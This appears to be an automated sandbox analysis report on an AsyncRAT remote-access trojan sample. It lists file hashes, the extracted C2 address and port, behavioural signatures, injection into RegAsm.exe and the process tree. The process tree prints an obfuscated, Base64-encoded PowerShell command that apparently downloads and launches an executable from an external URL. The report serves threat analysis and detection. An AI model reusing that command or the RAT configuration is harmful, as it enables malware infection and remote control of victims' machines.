Analysis
-
max time kernel
149s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
03-12-2022 23:13
Static task
static1
Behavioral task
behavioral1
Sample
asdsadasdsa.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
asdsadasdsa.exe
Resource
win10v2004-20220901-en
General
-
Target
asdsadasdsa.exe
-
Size
6KB
-
MD5
224ad38879a55ecc379737225d02b85c
-
SHA1
260cfe1499c16b381698a462f0997b105add2e9d
-
SHA256
599e17a85afe5abfc5e7f0210a5d76241bc5304d4ff1fd6f5376bd2aa859a3c6
-
SHA512
fd781fee26055eeb4eed26058146a5423684543099313c8d6f6c4f157e6484c89cc2d7180f5b82555ce5eb194e595bbb5ce4da8f3e0eba7b1bca27a2a66ce335
-
SSDEEP
96:I8J79BlBCF5NTcofNVIIKtgNtUqpkK77mc359ed3ojXrl:z9BuFDNNVI5ONtUqpkK77Rzeda
Malware Config
Extracted
asyncrat
0.5.7B
DefenderSmartScren
217.64.31.3:8437
DefenderSmartScren
-
delay
3
-
install
false
-
install_file
SecurityHealtheurvice.exe
-
install_folder
%AppData%
Signatures
-
Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/2228-147-0x0000000000400000-0x0000000000412000-memory.dmp asyncrat -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 40 3080 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
Processes:
asdsadsadsa.exepid process 4292 asdsadsadsa.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
asdsadasdsa.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation asdsadasdsa.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
asdsadsadsa.exedescription pid process target process PID 4292 set thread context of 2228 4292 asdsadsadsa.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3080 powershell.exe 3080 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeasdsadsadsa.exedescription pid process Token: SeDebugPrivilege 3080 powershell.exe Token: SeDebugPrivilege 4292 asdsadsadsa.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
asdsadasdsa.exepowershell.exeasdsadsadsa.exedescription pid process target process PID 960 wrote to memory of 3080 960 asdsadasdsa.exe powershell.exe PID 960 wrote to memory of 3080 960 asdsadasdsa.exe powershell.exe PID 3080 wrote to memory of 4292 3080 powershell.exe asdsadsadsa.exe PID 3080 wrote to memory of 4292 3080 powershell.exe asdsadsadsa.exe PID 3080 wrote to memory of 4292 3080 powershell.exe asdsadsadsa.exe PID 4292 wrote to memory of 2228 4292 asdsadsadsa.exe RegAsm.exe PID 4292 wrote to memory of 2228 4292 asdsadsadsa.exe RegAsm.exe PID 4292 wrote to memory of 2228 4292 asdsadsadsa.exe RegAsm.exe PID 4292 wrote to memory of 2228 4292 asdsadsadsa.exe RegAsm.exe PID 4292 wrote to memory of 2228 4292 asdsadsadsa.exe RegAsm.exe PID 4292 wrote to memory of 2228 4292 asdsadsadsa.exe RegAsm.exe PID 4292 wrote to memory of 2228 4292 asdsadsadsa.exe RegAsm.exe PID 4292 wrote to memory of 2228 4292 asdsadsadsa.exe RegAsm.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\asdsadasdsa.exe"C:\Users\Admin\AppData\Local\Temp\asdsadasdsa.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAbgBpACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANAAyADQANwA3ADQAMQA3ADYANgA4ADgAMAA4ADcAOAA1AC8AMQAwADQAMgA0ADcANwA1ADQANAAwADgAOQAzADIANQA2ADUAOQAvAGwAYwBvAG0AcABsAGMAbQBwAG8ALgBlAHgAZQAnACwAIAA8ACMAZgBwAHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBiAGIAawAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBnAHoAYQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBhAHMAZABzAGEAZABzAGEAZABzAGEALgBlAHgAZQAnACkAKQA8ACMAZwBsAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAcwBmAHQAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGcAagBsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGEAcwBkAHMAYQBkAHMAYQBkAHMAYQAuAGUAeABlACcAKQA8ACMAcgBjAGsAIwA+AA=="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\asdsadsadsa.exe"C:\Users\Admin\AppData\Roaming\asdsadsadsa.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\asdsadsadsa.exeFilesize
14.7MB
MD56f6b812c166e53dc9b52b9b60e5ed369
SHA1e60cf5e718c030182dec6f7fbbbbf884fcdfcca1
SHA256ffead35df6bc101476d76393619fe0a06a57d93927417d9bcf814d2e4c6b36a0
SHA5128e8e5fe21f4b08a053255beb0f4e55f03e0114e7fa2117b8ef8320e7fd88275771394cd9a7e4237793b370f980ff7ed45a6ff78d3d97d59cd077868e7602f4b9
-
C:\Users\Admin\AppData\Roaming\asdsadsadsa.exeFilesize
14.7MB
MD56f6b812c166e53dc9b52b9b60e5ed369
SHA1e60cf5e718c030182dec6f7fbbbbf884fcdfcca1
SHA256ffead35df6bc101476d76393619fe0a06a57d93927417d9bcf814d2e4c6b36a0
SHA5128e8e5fe21f4b08a053255beb0f4e55f03e0114e7fa2117b8ef8320e7fd88275771394cd9a7e4237793b370f980ff7ed45a6ff78d3d97d59cd077868e7602f4b9
-
memory/960-135-0x00007FFC484B0000-0x00007FFC48F71000-memory.dmpFilesize
10.8MB
-
memory/960-132-0x0000000000A90000-0x0000000000A98000-memory.dmpFilesize
32KB
-
memory/2228-146-0x0000000000000000-mapping.dmp
-
memory/2228-147-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
-
memory/3080-140-0x00007FFC484B0000-0x00007FFC48F71000-memory.dmpFilesize
10.8MB
-
memory/3080-137-0x00007FFC484B0000-0x00007FFC48F71000-memory.dmpFilesize
10.8MB
-
memory/3080-136-0x00007FFC484B0000-0x00007FFC48F71000-memory.dmpFilesize
10.8MB
-
memory/3080-134-0x000001F865D10000-0x000001F865D32000-memory.dmpFilesize
136KB
-
memory/3080-133-0x0000000000000000-mapping.dmp
-
memory/4292-138-0x0000000000000000-mapping.dmp
-
memory/4292-142-0x0000000000970000-0x0000000001822000-memory.dmpFilesize
14.7MB
-
memory/4292-143-0x00000000072F0000-0x0000000007894000-memory.dmpFilesize
5.6MB
-
memory/4292-144-0x00000000069C0000-0x0000000006A52000-memory.dmpFilesize
584KB
-
memory/4292-145-0x0000000006B10000-0x0000000006BAC000-memory.dmpFilesize
624KB